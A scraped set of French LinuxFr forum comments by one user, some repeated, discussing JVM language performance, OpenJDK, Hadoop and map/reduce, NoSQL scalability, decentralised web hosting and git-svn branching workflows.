JIT mode is available since JRuby 1.1. In performance benchmarks, JRuby is consistently 200% to 300% faster than C Ruby 1.8.6 [27] but still 15%-25% slower than C Ruby 1.9. However, the JRuby 1.1.6 version outperforms C Ruby 1.9 in some cases [30][31].
Also in a real Mongrel web server application, JRuby performance is better than Ruby (after the Virtual Machine has instantiated)[32].
Tu te fais moinsser par ce que ton commentaire ne sert à rien.
Tout d'abord chacun est libre d'utiliser la JVM qu'il veut qu'elle soit libre ou non. Le fait que quelqu'un utilise une VM proprio pour faire tourner du code n'a aucune incidence sur le reste du monde.
Mais surtout par ce que ce dédain (ou ignorance mais ce n'est pas mieux quand on fait un commentaire de ce type) envers la VM de Sun est déplacé. OpenJDK c'est la VM de Sun et ca le restera pour un moment. >95% du codebase est le même et a été donné par Sun (OpenJDK 7 à été forké depuis le JDK 7b10, OpenJDK 6 depuis OpenJDK 7b20). Tu devrais aussi aller regarder du côté des commiters ou du côté de la governance board par interim qui vient d'être reconduite. Bref sans SUN OpenJDK n'existerait pas et aurait beaucoup de mal à survivre.
Dans le langage courant la VM de SUN ca désigne autant leur build proprio qu'OpenJDK surtout quand le commentaire au dessus fait référence à HotSpot.
Derrière tout ces produits tu as des objectifs un peu différents à chaque fois. Certains cherchent vraiment la performance sur des opération très simple et limités (exemple voldemort, tokyo cabinet). D'autre cherche un compromis entre structuration/fonctionnalités et performance (couchDB, HBase). De même la performance peut concerner le débit, la latence, le volume de donnée, la resistance aux lectures/écritures, la tolérance aux pannes etc.
Je pense que c'est pour cela qu'on voit apparaitre autant de solutions. Ce genre de techno n'est utile que pour des projets déjà gros et chaque fonctionnalité présente ou absente peu avoir un impact important sur le design de l'application et des performances. Pour le moment j'ai l'impression que tout le monde réécrit exactement ce dont il a besoin et que le consensus est plus difficile à trouver que pour un bête cache cle/valeur par exemple.
Premièrement des applis web complexes qui scalent linéairement ça n'existe tout simplement pas. Donc pour "un nombre arbitrairement grand" c'est du grand n'importe quoi. Chaque archi à ses limites et tu choisis l'archi en fonction du cahier des charges. Après tu itères en fonction de l'évolution du trafic, de l'usage, des nouvelles fonctionnalités, des bottlenecks etc.
Deuxièmement écrire quelque chose qui supporte 1, 10, 1000 ou 100 000 000 de transactions/ seconde ca n'a pas le même coût. Tu ne peux viser au plus haut rien que pour la beauté du geste, ca coute très cher. Plus tu tapes haut, plus tu t'éloignes du "modèle traditionnel" et plus tu dois faire du custom. Quand tu as atteint les limites d'écriture de ton master DB, il est temps de passer à autre chose: caching type memcached, passer du relationnel à du key/value, déporter tout tes traitements en batch, découper tes bases en shard etc.
Ce genre de trucs, en plus d'être couteux, c'est pas forcement une bonne idée de le faire à priori. Ca donne un système complexe et "optimisé" en aveugle sans savoir ce qui va réellement poser problème en prod (et ca évolue très très vite).
Tu as deux cas d'utilisation qui me semblent majoritaires:
- partager publiquement dans le but d'avoir un maximum d'audience. Typiquement zapiks, qui offre un très bon ratio signal/bruit et permet d'absorber quelques dizaines de milliers de vues si besoin. L'aspect communauté et découverte de contenu est très important. C'est d'ailleurs hallucinant le nombre de prods amateurs de très bonne qualité depuis quelques années. Les contraintes sont clairement la disponibilité et la montée en charge
- partager des documents avec son cercle de connaissance. La les contraintes sont la dispo et la confidentialité. Disponibilité implique réplication et localisation du contenu. Confidentialité implique chiffrement. Tu peux aussi avoir des problèmes de perfs pour les documents multimedia. Une petite journée de shooting au reflex et t'arrives vite à quelques Go de données... C'est beaucoup moins critique que dans le cas précédent par ce que le ratio nbDownloads/nbUploads est beaucoup plus petit.
Bien sur tu ne peux pas faire confiance aux pairs distants donc que ton archi résiste à des trucs mineurs comme les "Byzantine Fault".
Non par ce que si c'est pour faire tourner des pauvres serveurs HTTP indépendant avec un débit merdique, une dispo entre 50 et 90% et aucune notion de réseau ou de découverte de contenu c'est peut être pas la peine de faire tout ce foin....
Si tu as les compétences et le temps pour administrer un serveur, développer un site web et le pognon pour payer tout ça alors je vois pas ton problème aujourd'hui. Et je vois pas ce que ça peut bien foutre que ton serveur tourne chez toi ou dans n'importe quel data center.
Avoir des backups c'est bien pour *toi*. Par contre quand tu publies, en général c'est pour le mettre à dispo des autres. On s'en fou que toi tu ais une copie de la ressource, quand c'est moi qui veut y accéder . En théorie une ressource ne devrait jamais être inaccessible, disparaitre ou changer d'adresse.
Youtube & co, tu peux en dire ce que tu veux. Mais ca permet à des mecs qui n'ont aucune compétence (ou simplement pas de temps à perdre) de rendre dispo leurs créas et d'absorber quelques To de trafic pour les prods de qualité...
Ca permet aussi aux consommateurs de découvrir facilement des ressources sur un sujet donné ou de naviguer de proche en proche. Avec N sites web "tout bête", tu perds cette fonctionnalité qu'il faudra recréer.
Ok on retire la contrainte du ADSL. On suppose que n'importe quel pair à suffisamment d'upload pour satisfaire au moins un client. J'attends les propositions d'architecture. Comment tu fais un youtube ou un flickr like en distribué ? Bien sur on garde une bonne qualité de service, les mêmes fonctionnalités et les contrôles d'accès aux docs etc.
C'est assez marrant de concevoir des archis distribuées, mais quand on en fait on se rend compte que c'est pas si triviale que ça. Dans notre cas, supprimer le prédicat que le provider est un tiers de confiance complexifie sérieusement le tout.
Et quand on part en vacances, qu'on déménage y'a plus d'accès pour personne ? Si la box part en SAV tout les fichiers sont perdus ? Si on publie du contenu un temps soit peu de qualité comment on gère les pics de charge sur quelques ko/s d'up ? Comment on découvre et met en relation les contenus ? Comment tu gères l'authentification ?
Elle est belle votre alternative au web 2.0. En dehors de l'aspect philosophique, je la trouve quand même un peu insultante pour tout les ingénieurs qui bossent pour faire des plateformes fiables, scalables et facile à utiliser. C'est vrai il suffit de mettre un lighthttpd sur une box...
La tu reposes la faute sur madame Michu. Mais pour le moment madame Michu elle n'a même pas eu le choix.
C 'est beau de dénoncer la centralisations des données par les grosses internet compagnies; mais qui propose une alternative viable ? Même seulement un début d'architecture ? Il faut une solution qui soit fiable (accès à tout les documents n'importe quand, pas de perte), performante (au niveau macro et micro), avec contrôle d'accès (seul mes amis peuvent voir un document donnée), qui fonctionne sur l'internet réel d'aujourd'hui (_A_DSL), qui fournisse des options de recherche etc.
Après effectivement pour que ca intéresse madame michu il faudra que ca soit facile à déployer, et qu'il y ait un avantage certain sur les youtube-like. Mais on en est pas vraiment là.
Des archis, j'en ai pas vu des masses; et aucuns des points que j'ai cité ne sont triviaux. Simplement faire du streaming depuis plusieurs sources pour pouvoir servir de la video "HD" c'est assez marrant comme problème.
Bref je vais encore me faire moinsser mais ma question est: "A quoi ca sert de faire sa pleureuse sur le minitel-2.0 15x par jour sur linuxfr quand on a rien à proposer ?". Malgré tout ses défauts le minitel-2.0 il permet de mettre ses œuvres à disposition de tout le monde pour rien: pas de hardware, pas de maintenance, pas de bande passante...
Depuis le temps qu'il faut utiliser ce mot pour être in sur linuxfr on sait ce que c'est. Ce qu'on ne sait pas par contre; c'est où sont les alternatives développées par nos amis effarouchés du web 2.0. Yakafokon...
Tu peux faire pleins de choses. En dehors de l'indexation, y'a des gens s'en servent pour faire du clustering (ex: rapprocher des articles dans google news), du machine learning, de la traduction automatique, de l'analyse/filtrage de logs, du filtrage bayesien, du calcul matriciel, de la détection de spam etc. Tu as pleins d'exemples d'utilisation là: http://wiki.apache.org/hadoop/PoweredBy
J'étais simplement en recherche d'arguments pour comprendre l'intérêt de Hadoop.
Yahoo! a développé Hadoop qui tourne actuellement sur ~100 000 cores chez eux. Ils ont du se soucier du TCO non ?
Amazon fait du business sur Hadoop (via elastic map/reduce) et Facebook à un cluster ~1 000 machines. Même si Yahoo! s'était planté, ça ne fait en général pas très peur à ces deux là d'optimiser ou de redevelopper en interne. On peut donc en déduire que les perfs sont suffisamment bonnes. Ca changera peut être un jour.
j'imagine que c'est adopté parce qu'il n'y a pas autre chose.
Il y a une demande non nulle pour de tels frameworks. D'une part des grosses internet compagny qui utilisent de grosses infrastructures dédiées pour traiter des volumes énormes ou pour faire tourner un grand nombre de jobs; et de l'autre des gens qui cherchent à stocker et traiter des volumes de données important à moindre coût.
C'est un secteur qui est de plus en plus concurrentiel et pour le môment personne ne s'est vraiment pleind des perfs d'Hadoop. Tu peux être sur qu'un challenger viendra si quelqu'un pense pouvoir fournir un meilleur tupple <performance, stabilité, facilité de déploiement, facilité d'utilisation>.
De même Hadoop répond aux besoins des deux parties. Peut être qu'il est possible de faire mieux pour une clientèle donnée.
Autrement Ebay utilise greenplum par exemple...
Hadoop est quand même un outil système critique, et on aurait pu s'attendre, comme d'importe quel outil système, à ce qu'il soit développé en langage compilé pour optimiser les performances. Je n'imagine pas par exemple un serveur web ou un interpréteur PHP écrit en Java.
Est ce que tu es sure que point critique est hadoop ? Qu'elle est la ratio de temps passé dans le noyau (IO disk, network), dans Hadoop, dans les jobs utilisateurs ?
Combien de temps estime tu pouvoir gagner ? Sur quelles opérations ? Avec quelles conséquences sur les fonctionnalités ?
Autre question. Est ce qu'il y a plus à gagner en configurant correctement le cluster ou en hackant le code ? Est ce que les utilisateurs sont capables de bencher leur installation pour optimiser les perfs ? Est ce qu'il existe une configuration optimale pour la prod (ie. des jobs divers sur des tailles de fichier pouvant varier d'un ordre de grandeur).
Je n'ai pas forcement plus de réponses que toi. Mais par contre j'essaie de me poser les bonnes questions avant d'enfoncer des portes ouvertes... En pratique on peut toujours aller plus vite.
Bin justement, on ne connait pas la valeur du X%. Et c'est cela qui m'intéresse.
Tu ne la connaitra jamais. Il faudrait deux implémentations du même produit avec le même design, les mêmes algos, les mêmes fonctionnalités.
Par contre tu peux profiler un cluster de prod pour voir ce qui est couteux et ce sur quoi il y a à gagner... C'est pas évident à faire non plus.
Là encore, aucun rapport avec Java.
Je me trompe si je dis que tu ne déploie pas souvent des applications distribuées sur des ressources hétérogènes (hard comme soft) ?
Et les perfs de jython sont tout à fait honorables. Évidement ca rame par rapport à cpython pour un script tout con le startup de la JVM étant toujours couteux, par contre sur des applis résidentes...
Idem avec Ruby. Pas mal de gens semblent déployer en prod sur du JRuby par ce que ca tourne mieux...
Tiens encore le même refrain. Ca faisait longtemps.
Tu es en train de dire que les mecs qui gèrent les plus gros clusters en prod pour faire de l'analyse d'énorme volume de donnée sont tous des abrutis ? Et que tu sais vachement mieux que ce qui marche et ce qui marche pas malgré le fait que tu ne comprennes rien au problème ? "on parle de stockage et non de calcul" -> non non un map/reduce c'est pas calcul intensif...
C'est tellement une hérésie de le faire en Java que c'est développé par Yahoo! pour la prod de Yahoo!. Dans les quelques utilisateurs qui font des choix à la va vite en utilisant des trucs qui rament on retrouve facebook (2PB de donnée à traiter), Microsoft, cooliris, lastfm etc. Et y'a aussi quelques mecs qui connaissent vraiment rien au domaine, http://www.cloudera.com/about , qui se sont dit que ca marchait tellement mal que ca valait le coup de monter une boite. Et toi tu as des arguments pertinents en dehors de lieu commun ?
Hadoop, ca marche, c'est facile à déployer et ca scale. Ca joue dans la cours des plus grand puisque Yahoo! et Google se tirent la bourre sur les benchs. Tu pourrais peut être grappiller X% de perfs en utilisant un truc plus bas niveau mais ce n'est pas forcement le plus important. Tu as énormément de facteur qui influent sur le calcul, comme ton infrastructure, la taille de tes map/reduce, la redondance, la rack affinity etc. Et la facilité de déploiement et d'utilisation est aussi à prendre en compte.
Après personne ne t'oblige à écrire tes map/reduce en Java. Via pipe et streaming tu peux utiliser ce que tu veux.
Notons que si hadoop est développé en Java, avec hadoop streaming on peut écrire le code de map/reduce dans le langage que l'on veut: http://wiki.apache.org/hadoop/C++WordCount
> Un projet Java de plus qui se libère, C shouette...
L'annonce est assez trompeuse. Hadoop est libre depuis un bon moment déjà. À l'origine hadoop est un projet de Yahoo! Ils ont décider le donner le code à la fondation Apache en 2007 IIRC.
Ce que yahoo! vient d'annoncer, est la disponibilité de leur version de production. C'est à dire une release d'hadoop + patchs qui a passé la QA.
Quelques autres projets de Yahoo! autour d'hadoop on aussi été donné à la fondation Apache. Pig par exemple (un SQL like qui fonctionne pour fichier plat de grosse taille). D'une manière général un ecosystem intéressant est en train de se développer au dessu d'hadoop: pig, zookeeper, hive, hbase etc.
Je confirme avec un ibook G3 suivit d'un macbook. Ca tient en veille pendant des jours/semaines. Que ce soit sous OS X ou linux , je ne les ai jamais arrêté. Sur mon Dell actuel, je suis obligé d'utiliser le suspend to disk ou shutdown si la pause est supérieure à une heure...
Tu penses que les "hash" des deux paquets kernels GOOD et BAD se ressembleraient ? Plus ou moins que les binaires du même code source compilés avec des compilateurs ou des optimisations différentes ?
Heu XNU c'est un mélange de mach et BSD avec une couche d'I/O kit au dessus pour tout ce qui est driver.
Dans XNU ce qui vient de BSD c'est:
- la pile réseau
- le VFS
- Processus
- API POSIX
- Et deux trois autres petit trucs comme les IPC, audit, MAC et ceux que j'ai oublié.
Autant je dirais pas que c'est un BSD, autant "le kernel et tout le reste n'ont strictement rien a voir avec BSD" me semble pas forcement des plus juste non plus...
> Par contre, en passant, y-a-t-il eu des problèmes lors de l'utilisation de git-svn (sur 18 mois je pense que oui) ?
Dans l'ensemble ca marche très bien. Faut juste pas chercher les problèmes à faire 150 sous branches croisées. Le seul vrai problème que j'ai eu c'est l'impossibilité de "svn dcommit" à cause de conflits au rebase après ~50 cherry pick pour une branche de maintenance. En refaisant l'opération par bloc de 10 c'est passé. Ça s'est produit une seule fois.
Autrement rien à signaler du coté de git-svn. Les quelques fois ou ça part en live, tu arrives toujours à sauver le coup avec un peu d'effort; contrairement à SVN ou j'ai déjà fini à faire des diff/patch à la mano.
Ça fait ce que je veux sans se vautrer et ça me coute 0 en admin et en formation.
> Mais mon problème est dans l'usage d'un tel outil par des personnes qui [...]
Git me semble une mauvaise option alors. La courbe d'apprentissage de git est assez ardue et je connais pas 2 personnes au monde qui l'utilise de la même façon. En plus avec un mélange de branche locale et remote mappées sur le repo SVN, ça ouvre encore plus de possibilités.
Soit tu leur trouves un VCS moderne avec une interface simple et tu penses que ça vaut le coup de former tout le monde. Grincheux et adaptes des GUI sous <MonOSFavoris, MonIDEFavoris> compris.
Soit tu les laisses sous SVN en écrivant bien les procédures pour qu'une branche soit mergée plus tard (surtout tu inclus une cible qui formate le code source dans ton processus de build). Et tu as une petite équipe sous git-svn qui gère le reste.
Tu peux aussi essayer de documenter *la* méthode de faire avec git dans ton projet. Maintenant on à du passer 50% de nos dev sous git, faut compter perdre 2/3 jours pour les mettre dans le bain et deux bonnes semaines à galérer. Et maintenant ils n'utilisent plus du tout git comme moi :-) D'une manière générale les gens sont passé à git-svn pour la souplesse de développement que ca offre plus que pour la gestion des branches SVN. Ils n'ont toujours pas le droit de merger dans le trunk ou dans les branches de release. Par contre ils ont bien compris que les branches SVN et des branches locales rendaient *leur* travail plus facile... On a que du Linux en station aussi.
La je ne suis pas d'accord avec toi. Avec git-svn c'est pas parfait, mais ca répond à 99% des besoins AMHA.
On souhaitait passer à un modèle de dev basé sur les branches dans notre équipe, en ayant pour contrainte de devoir garder SVN comme dépôt officiel. De plus on ne souhaitait pas former tout les devs à un nouveau VCS.
On est donc parti sur git-svn depuis ~18 mois. Les résultats sont très satisfaisants: aucun problème pour merger ~40 branches (donc certaines de plus de 12 mois), souplesse de git pour les devs qui en ont besoin, les autres restent à SVN ça évite de former 30 personnes à git pour rien. Tout les essais de merge avec SVN (et svnmerge) avaient foiré avant. Bref ca fait ce qu'on veut, sans avoir couté cher.
Effectivement le problème du backend SVN est que tu perds les informations de merge, donc ca devient le bordel quand tu cherches dans l'historique. Faut être un peu organisé. Mais y'a pas de miracle...
Notre utilisation:
- Une branche par feature (donc merge trunk->branche pour se synchro, et branche -> trunk pour l'intégration)
- Une branche pour chaque branche de release (cherry pick trunk -> release et tags de la branche pour chaque version mineure)
- Branche git locale pour tout ce qui le nécessite (et possibilité de la publier sur le SVN si on constate que c'est plus compliqué que prévu)
Après tout dépend de ton cahier des charges. Un VCS moderne apporte plus de fonctionnalités mais ça coute cher en déploiement/formation/intégration. Tu ne peux pas faire ça en 1 mois et tu auras à former tout nouveau dev dans ton équipe. Surtout que y'a 1000 façons d'utiliser git.
git-svn ca permet de faire des merges sur un repo SVN sans rien changer pour les autres (tu les fais co leur branche et zou). Et pour les devs qui migrent ça apporte le confort de git.
Perso je ne m'amuserais pas avec des passerelles lecture/écriture sur un repo.
[^] # Re: Ça passe très bien :)
Posté par ckyl . En réponse à la dépêche Jython supporte maintenant Python 2.5. Évalué à 4.
Extrait de wikipedia:
JIT mode is available since JRuby 1.1. In performance benchmarks, JRuby is consistently 200% to 300% faster than C Ruby 1.8.6 [27] but still 15%-25% slower than C Ruby 1.9. However, the JRuby 1.1.6 version outperforms C Ruby 1.9 in some cases [30][31].
Also in a real Mongrel web server application, JRuby performance is better than Ruby (after the Virtual Machine has instantiated)[32].
[^] # Re: Ah ah ! Trop gros ça ne passera pas !
Posté par ckyl . En réponse à la dépêche Jython supporte maintenant Python 2.5. Évalué à 8.
Tout d'abord chacun est libre d'utiliser la JVM qu'il veut qu'elle soit libre ou non. Le fait que quelqu'un utilise une VM proprio pour faire tourner du code n'a aucune incidence sur le reste du monde.
Mais surtout par ce que ce dédain (ou ignorance mais ce n'est pas mieux quand on fait un commentaire de ce type) envers la VM de Sun est déplacé. OpenJDK c'est la VM de Sun et ca le restera pour un moment. >95% du codebase est le même et a été donné par Sun (OpenJDK 7 à été forké depuis le JDK 7b10, OpenJDK 6 depuis OpenJDK 7b20). Tu devrais aussi aller regarder du côté des commiters ou du côté de la governance board par interim qui vient d'être reconduite. Bref sans SUN OpenJDK n'existerait pas et aurait beaucoup de mal à survivre.
Dans le langage courant la VM de SUN ca désigne autant leur build proprio qu'OpenJDK surtout quand le commentaire au dessus fait référence à HotSpot.
[^] # Re: Ah ah ! Trop gros ça ne passera pas !
Posté par ckyl . En réponse à la dépêche Jython supporte maintenant Python 2.5. Évalué à 1.
[^] # Re: RDBMS sucks
Posté par ckyl . En réponse à la dépêche Répartition de charge : axes de réflexion et quelques exemples de solutions libres. Évalué à 5.
Derrière tout ces produits tu as des objectifs un peu différents à chaque fois. Certains cherchent vraiment la performance sur des opération très simple et limités (exemple voldemort, tokyo cabinet). D'autre cherche un compromis entre structuration/fonctionnalités et performance (couchDB, HBase). De même la performance peut concerner le débit, la latence, le volume de donnée, la resistance aux lectures/écritures, la tolérance aux pannes etc.
Je pense que c'est pour cela qu'on voit apparaitre autant de solutions. Ce genre de techno n'est utile que pour des projets déjà gros et chaque fonctionnalité présente ou absente peu avoir un impact important sur le design de l'application et des performances. Pour le moment j'ai l'impression que tout le monde réécrit exactement ce dont il a besoin et que le consensus est plus difficile à trouver que pour un bête cache cle/valeur par exemple.
[^] # Re: Comment ne rien améliorer
Posté par ckyl . En réponse à la dépêche Répartition de charge : axes de réflexion et quelques exemples de solutions libres. Évalué à 10.
Premièrement des applis web complexes qui scalent linéairement ça n'existe tout simplement pas. Donc pour "un nombre arbitrairement grand" c'est du grand n'importe quoi. Chaque archi à ses limites et tu choisis l'archi en fonction du cahier des charges. Après tu itères en fonction de l'évolution du trafic, de l'usage, des nouvelles fonctionnalités, des bottlenecks etc.
Deuxièmement écrire quelque chose qui supporte 1, 10, 1000 ou 100 000 000 de transactions/ seconde ca n'a pas le même coût. Tu ne peux viser au plus haut rien que pour la beauté du geste, ca coute très cher. Plus tu tapes haut, plus tu t'éloignes du "modèle traditionnel" et plus tu dois faire du custom. Quand tu as atteint les limites d'écriture de ton master DB, il est temps de passer à autre chose: caching type memcached, passer du relationnel à du key/value, déporter tout tes traitements en batch, découper tes bases en shard etc.
Ce genre de trucs, en plus d'être couteux, c'est pas forcement une bonne idée de le faire à priori. Ca donne un système complexe et "optimisé" en aveugle sans savoir ce qui va réellement poser problème en prod (et ca évolue très très vite).
http://www.slideshare.net/techdude/scalable-web-architecture(...) résume bien les techniques courantes.
Bref pour une fois c'est bidon ce que tu dis. Attention j'ai pas dit qu'il fallait pondre une bouse dès le départ. non plus.
[^] # Re: Plonk
Posté par ckyl . En réponse au journal Minitel 2.0, mais bien sûr. Évalué à 2.
- partager publiquement dans le but d'avoir un maximum d'audience. Typiquement zapiks, qui offre un très bon ratio signal/bruit et permet d'absorber quelques dizaines de milliers de vues si besoin. L'aspect communauté et découverte de contenu est très important. C'est d'ailleurs hallucinant le nombre de prods amateurs de très bonne qualité depuis quelques années. Les contraintes sont clairement la disponibilité et la montée en charge
- partager des documents avec son cercle de connaissance. La les contraintes sont la dispo et la confidentialité. Disponibilité implique réplication et localisation du contenu. Confidentialité implique chiffrement. Tu peux aussi avoir des problèmes de perfs pour les documents multimedia. Une petite journée de shooting au reflex et t'arrives vite à quelques Go de données... C'est beaucoup moins critique que dans le cas précédent par ce que le ratio nbDownloads/nbUploads est beaucoup plus petit.
Bien sur tu ne peux pas faire confiance aux pairs distants donc que ton archi résiste à des trucs mineurs comme les "Byzantine Fault".
Non par ce que si c'est pour faire tourner des pauvres serveurs HTTP indépendant avec un débit merdique, une dispo entre 50 et 90% et aucune notion de réseau ou de découverte de contenu c'est peut être pas la peine de faire tout ce foin....
[^] # Re: Plonk
Posté par ckyl . En réponse au journal Minitel 2.0, mais bien sûr. Évalué à 2.
Avoir des backups c'est bien pour *toi*. Par contre quand tu publies, en général c'est pour le mettre à dispo des autres. On s'en fou que toi tu ais une copie de la ressource, quand c'est moi qui veut y accéder . En théorie une ressource ne devrait jamais être inaccessible, disparaitre ou changer d'adresse.
Youtube & co, tu peux en dire ce que tu veux. Mais ca permet à des mecs qui n'ont aucune compétence (ou simplement pas de temps à perdre) de rendre dispo leurs créas et d'absorber quelques To de trafic pour les prods de qualité...
Ca permet aussi aux consommateurs de découvrir facilement des ressources sur un sujet donné ou de naviguer de proche en proche. Avec N sites web "tout bête", tu perds cette fonctionnalité qu'il faudra recréer.
[^] # Re: Plonk
Posté par ckyl . En réponse au journal Minitel 2.0, mais bien sûr. Évalué à 2.
C'est assez marrant de concevoir des archis distribuées, mais quand on en fait on se rend compte que c'est pas si triviale que ça. Dans notre cas, supprimer le prédicat que le provider est un tiers de confiance complexifie sérieusement le tout.
[^] # Re: Plonk
Posté par ckyl . En réponse au journal Minitel 2.0, mais bien sûr. Évalué à 2.
Elle est belle votre alternative au web 2.0. En dehors de l'aspect philosophique, je la trouve quand même un peu insultante pour tout les ingénieurs qui bossent pour faire des plateformes fiables, scalables et facile à utiliser. C'est vrai il suffit de mettre un lighthttpd sur une box...
[^] # Re: Plonk
Posté par ckyl . En réponse au journal Minitel 2.0, mais bien sûr. Évalué à 6.
C 'est beau de dénoncer la centralisations des données par les grosses internet compagnies; mais qui propose une alternative viable ? Même seulement un début d'architecture ? Il faut une solution qui soit fiable (accès à tout les documents n'importe quand, pas de perte), performante (au niveau macro et micro), avec contrôle d'accès (seul mes amis peuvent voir un document donnée), qui fonctionne sur l'internet réel d'aujourd'hui (_A_DSL), qui fournisse des options de recherche etc.
Après effectivement pour que ca intéresse madame michu il faudra que ca soit facile à déployer, et qu'il y ait un avantage certain sur les youtube-like. Mais on en est pas vraiment là.
Des archis, j'en ai pas vu des masses; et aucuns des points que j'ai cité ne sont triviaux. Simplement faire du streaming depuis plusieurs sources pour pouvoir servir de la video "HD" c'est assez marrant comme problème.
Bref je vais encore me faire moinsser mais ma question est: "A quoi ca sert de faire sa pleureuse sur le minitel-2.0 15x par jour sur linuxfr quand on a rien à proposer ?". Malgré tout ses défauts le minitel-2.0 il permet de mettre ses œuvres à disposition de tout le monde pour rien: pas de hardware, pas de maintenance, pas de bande passante...
# Plonk
Posté par ckyl . En réponse au journal Minitel 2.0, mais bien sûr. Évalué à 5.
[^] # Re: Des exemples
Posté par ckyl . En réponse à la dépêche Yahoo libère son Hadoop. Évalué à 2.
Tu peux aussi t'amuser à calculer les décimales de pi: http://developer.yahoo.net/blogs/hadoop/2009/05/hadoop_compu(...)
AFAIK les crawlers de google et maintenant yahoo! poussen les données sur GFS/HDFS et après tout est analysé via des jobs map/reduce.
En général si tu as a beaucoup de données en entrée sans relation fortes (ca ne remplace pas le RDBMS), ca vaut le coup de regarder.
[^] # Re: Pertinence de Java
Posté par ckyl . En réponse à la dépêche Yahoo libère son Hadoop. Évalué à 4.
Yahoo! a développé Hadoop qui tourne actuellement sur ~100 000 cores chez eux. Ils ont du se soucier du TCO non ?
Amazon fait du business sur Hadoop (via elastic map/reduce) et Facebook à un cluster ~1 000 machines. Même si Yahoo! s'était planté, ça ne fait en général pas très peur à ces deux là d'optimiser ou de redevelopper en interne. On peut donc en déduire que les perfs sont suffisamment bonnes. Ca changera peut être un jour.
j'imagine que c'est adopté parce qu'il n'y a pas autre chose.
Il y a une demande non nulle pour de tels frameworks. D'une part des grosses internet compagny qui utilisent de grosses infrastructures dédiées pour traiter des volumes énormes ou pour faire tourner un grand nombre de jobs; et de l'autre des gens qui cherchent à stocker et traiter des volumes de données important à moindre coût.
C'est un secteur qui est de plus en plus concurrentiel et pour le môment personne ne s'est vraiment pleind des perfs d'Hadoop. Tu peux être sur qu'un challenger viendra si quelqu'un pense pouvoir fournir un meilleur tupple <performance, stabilité, facilité de déploiement, facilité d'utilisation>.
De même Hadoop répond aux besoins des deux parties. Peut être qu'il est possible de faire mieux pour une clientèle donnée.
Autrement Ebay utilise greenplum par exemple...
Hadoop est quand même un outil système critique, et on aurait pu s'attendre, comme d'importe quel outil système, à ce qu'il soit développé en langage compilé pour optimiser les performances. Je n'imagine pas par exemple un serveur web ou un interpréteur PHP écrit en Java.
Est ce que tu es sure que point critique est hadoop ? Qu'elle est la ratio de temps passé dans le noyau (IO disk, network), dans Hadoop, dans les jobs utilisateurs ?
Combien de temps estime tu pouvoir gagner ? Sur quelles opérations ? Avec quelles conséquences sur les fonctionnalités ?
Autre question. Est ce qu'il y a plus à gagner en configurant correctement le cluster ou en hackant le code ? Est ce que les utilisateurs sont capables de bencher leur installation pour optimiser les perfs ? Est ce qu'il existe une configuration optimale pour la prod (ie. des jobs divers sur des tailles de fichier pouvant varier d'un ordre de grandeur).
Je n'ai pas forcement plus de réponses que toi. Mais par contre j'essaie de me poser les bonnes questions avant d'enfoncer des portes ouvertes... En pratique on peut toujours aller plus vite.
Bin justement, on ne connait pas la valeur du X%. Et c'est cela qui m'intéresse.
Tu ne la connaitra jamais. Il faudrait deux implémentations du même produit avec le même design, les mêmes algos, les mêmes fonctionnalités.
Par contre tu peux profiler un cluster de prod pour voir ce qui est couteux et ce sur quoi il y a à gagner... C'est pas évident à faire non plus.
Là encore, aucun rapport avec Java.
Je me trompe si je dis que tu ne déploie pas souvent des applications distribuées sur des ressources hétérogènes (hard comme soft) ?
[^] # Re: Pertinence de Java
Posté par ckyl . En réponse à la dépêche Yahoo libère son Hadoop. Évalué à 2.
Idem avec Ruby. Pas mal de gens semblent déployer en prod sur du JRuby par ce que ca tourne mieux...
[^] # Re: Pertinence de Java
Posté par ckyl . En réponse à la dépêche Yahoo libère son Hadoop. Évalué à 7.
Tu es en train de dire que les mecs qui gèrent les plus gros clusters en prod pour faire de l'analyse d'énorme volume de donnée sont tous des abrutis ? Et que tu sais vachement mieux que ce qui marche et ce qui marche pas malgré le fait que tu ne comprennes rien au problème ? "on parle de stockage et non de calcul" -> non non un map/reduce c'est pas calcul intensif...
C'est tellement une hérésie de le faire en Java que c'est développé par Yahoo! pour la prod de Yahoo!. Dans les quelques utilisateurs qui font des choix à la va vite en utilisant des trucs qui rament on retrouve facebook (2PB de donnée à traiter), Microsoft, cooliris, lastfm etc. Et y'a aussi quelques mecs qui connaissent vraiment rien au domaine, http://www.cloudera.com/about , qui se sont dit que ca marchait tellement mal que ca valait le coup de monter une boite. Et toi tu as des arguments pertinents en dehors de lieu commun ?
Hadoop, ca marche, c'est facile à déployer et ca scale. Ca joue dans la cours des plus grand puisque Yahoo! et Google se tirent la bourre sur les benchs. Tu pourrais peut être grappiller X% de perfs en utilisant un truc plus bas niveau mais ce n'est pas forcement le plus important. Tu as énormément de facteur qui influent sur le calcul, comme ton infrastructure, la taille de tes map/reduce, la redondance, la rack affinity etc. Et la facilité de déploiement et d'utilisation est aussi à prendre en compte.
Après personne ne t'oblige à écrire tes map/reduce en Java. Via pipe et streaming tu peux utiliser ce que tu veux.
[^] # Re: framework apache ?
Posté par ckyl . En réponse à la dépêche Yahoo libère son Hadoop. Évalué à 10.
Pour faire simple Hadoop c'est la version, open source, de Yahoo! des inventions de google :-)
Hadoop propose un système de fichier distribué inspiré de GFS (cf http://labs.google.com/papers/gfs.html ) et une implémentation de map/reduce (cf http://labs.google.com/papers/mapreduce.html ).
Notons que si hadoop est développé en Java, avec hadoop streaming on peut écrire le code de map/reduce dans le langage que l'on veut: http://wiki.apache.org/hadoop/C++WordCount
Pour ceux qui sont intéressés Cloudera propose d'excellents tutoriels sur Hadoop en ligne: http://www.cloudera.com/hadoop-training
[^] # Re: Eviv Bulgroz !
Posté par ckyl . En réponse à la dépêche Yahoo libère son Hadoop. Évalué à 8.
L'annonce est assez trompeuse. Hadoop est libre depuis un bon moment déjà. À l'origine hadoop est un projet de Yahoo! Ils ont décider le donner le code à la fondation Apache en 2007 IIRC.
Ce que yahoo! vient d'annoncer, est la disponibilité de leur version de production. C'est à dire une release d'hadoop + patchs qui a passé la QA.
Quelques autres projets de Yahoo! autour d'hadoop on aussi été donné à la fondation Apache. Pig par exemple (un SQL like qui fonctionne pour fichier plat de grosse taille). D'une manière général un ecosystem intéressant est en train de se développer au dessu d'hadoop: pig, zookeeper, hive, hbase etc.
[^] # Re: launchd
Posté par ckyl . En réponse au journal Toutes les distributions veulent démarrer plus vite. Évalué à 2.
[^] # Re: Magie !
Posté par ckyl . En réponse au journal Aider au développement d'un nouveau gestionnaire de paquets. Évalué à 4.
T'es pas sérieux au moins ?
[^] # Re: Magie !
Posté par ckyl . En réponse au journal Aider au développement d'un nouveau gestionnaire de paquets. Évalué à 6.
